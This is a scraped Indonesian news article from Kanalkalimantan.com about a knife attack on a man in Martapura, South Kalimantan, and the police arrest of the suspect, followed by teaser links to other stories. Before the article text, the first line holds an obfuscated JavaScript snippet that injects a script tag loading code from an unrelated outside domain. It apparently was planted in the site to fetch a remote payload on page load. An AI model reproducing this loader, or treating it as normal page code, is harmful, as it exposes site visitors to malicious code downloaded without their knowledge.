(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – RY (46), warga jalan Batuah, Kelurahan Jawa, Kecamatan Martapura, Kabupaten Banjar, menjadi korban penganiayaan di rumahnya sendiri, Sabtu (17/10/2020) malam sekitar pukul 23:45 Wita.
Kejadian berawal saat itu RY sedang berada di rumah didatangi MT (26), warga jalan Abadi, Kelurahan Jawa, Kecamatan Martapura.
MT datang mengetuk pintu rumah, setelah dibukakan pintu oleh RY, MT tiba-tiba langsung menyerang menggunakan senjata tajam jenis pisau.
Dari penyerangan tersebut, RY mengalami luka tusuk dam sayatan di pipi kiri, pipi kanan, leher belakang serta telinga sebelah kiri.
Kejadian tersebut langsung membuat warga sekitar heboh, karena mendengar ada keributan. Warga langsung berhamburan keluar rumah untuk menolong RY, dan langsung membawa ke Rumah Sakit Ratu Zalecha Martapura.
Warga kemudian lapor ke polisi, petugas labngsung melakukan penyelidikan, dan akhirnya berhasil menangkap pelaku penganiayaan di kediamannya.
“Setelah pelaku menyerang korban, pelaku langsung melarikan diri,” ujar Kapolsek Martapura Kota AKP Suroto melalui Kanit Reskrim Polsek Martapura Kota, Iptu B Munthe kepada Kanalkalimantan.com, Minggu (18/10/2020) siang.
“Berdasarkan keterangan pelaku, motif melakukan penganiayaan terhadap korban karena pelaku tersinggung dan sakit hati karena difitnah oleh korban,” kata Iptyu Munthe berdasar pengakuan MT setelah ditangkap.
Selain mengamankan pelaku, polisi juga berhasil mengamankan barang bukti yang sempat dibuang di pepohonan pisang dekat rumahnya. Sebuilah pisau panjang 18 cm yang terlepas dari gagang berwarna merah.
Polisi sempat tidak menemukan keberadan pelaku di rumah, tapi kebetulan keluarga korban mengenali pelaku dan menghubungi polisi kalau pelaku sudah berada di rumahnya.
Dari sinilah pihak kepolisian kemudian melakuan penyelidikan, dan akhirnya dapat mengamankan pelaku di tempat tinggalnya.
“Awalnya kita mencari pelaku di kediamanya, namun pelaku tidak ada, selang beberapa jam kemudian, keluarga korban menghubungi kalau pelaku sudah berada di rumahnya, kurang dari 24 jam pelaku bisa ditemukan,” ujar Iptu Munthe.
Sebelum kejadian itu, masih dari keterangan polisi, diduga pelaku sudah menenggak minuman beralkohol. Akibat dari penganiayaan tersebut RY mengalami luka tusuk dan sayat sebanyak 12 jahitan.
“Pelaku sudah kami amankan di Mapolsek Marapura Kota, MT dijerat pasal 351 KUHP, jika perbuatan mengakibatkan luka berat, pelaku diancam dengan pidana penjara paling lama lima tahun,” pungkasnya. (kanalkalimantan.com/wahyu)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.